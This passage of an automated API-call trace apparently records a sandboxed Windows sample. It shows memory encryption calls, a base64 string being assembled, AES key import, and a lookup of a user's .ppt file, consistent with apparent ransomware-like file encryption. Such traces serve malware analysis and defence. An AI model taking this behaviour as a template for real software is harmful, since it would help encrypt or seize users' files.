(param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0214.519] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.520] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0214.520] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0214.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0214.520] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.520] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0214.520] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0214.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0214.520] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.521] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0214.521] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0214.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0214.521] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.521] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0214.521] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0214.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0214.521] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.521] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0214.521] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0214.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0214.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0214.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0214.522] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.522] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0214.522] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0214.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0214.523] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.523] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0214.523] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0214.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0214.523] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.523] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0214.523] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0214.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0214.523] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.524] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0214.524] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0214.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0214.524] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.524] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0214.524] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0214.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0214.524] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.524] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0214.524] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0214.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0214.525] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.525] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0214.525] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0214.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0214.525] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.525] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0214.525] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.526] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0214.526] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0214.526] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0214.526] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0214.526] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.526] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0214.526] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0214.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0214.527] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.527] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0214.527] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0214.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0214.527] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.527] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0214.527] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0214.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0214.527] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.528] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0214.528] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0214.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0214.528] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.528] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0214.528] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0214.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0214.528] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.528] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0214.528] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0214.529] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0214.529] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.529] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0214.529] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.529] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0214.529] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0214.529] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.530] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0214.530] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.530] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0214.530] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0214.530] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0214.530] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0214.530] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.531] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0214.531] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.531] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0214.531] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0214.531] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.531] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0214.531] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.531] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0214.531] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0214.531] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.532] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0214.532] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.532] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0214.532] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0214.532] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.532] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0214.532] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.532] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0214.532] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0214.532] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.532] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0214.532] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.533] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0214.533] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0214.533] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.533] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0214.533] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.533] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0214.533] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0214.533] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.533] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0214.533] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.533] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0214.533] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0214.533] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.534] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0214.534] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.534] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0214.534] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0214.534] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0214.534] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0214.534] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0214.534] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0214.535] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0214.535] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0214.535] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0214.535] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0214.535] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0214.535] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0214.535] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0214.535] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0214.535] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0214.535] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0214.535] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0214.535] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0214.536] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0214.536] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0214.536] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0214.536] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0214.536] EtwEventActivityIdControl () returned 0x0 [0214.537] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0214.537] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0214.537] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0214.537] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0214.539] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4cee0) returned 1 [0214.541] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x2471c7c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x5c68e40) returned 1 [0214.541] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0214.542] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.542] EtwEventActivityIdControl () returned 0x0 [0214.542] EtwEventActivityIdControl () returned 0x0 [0214.542] EtwEventActivityIdControl () returned 0x0 [0214.551] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt" (normalized: 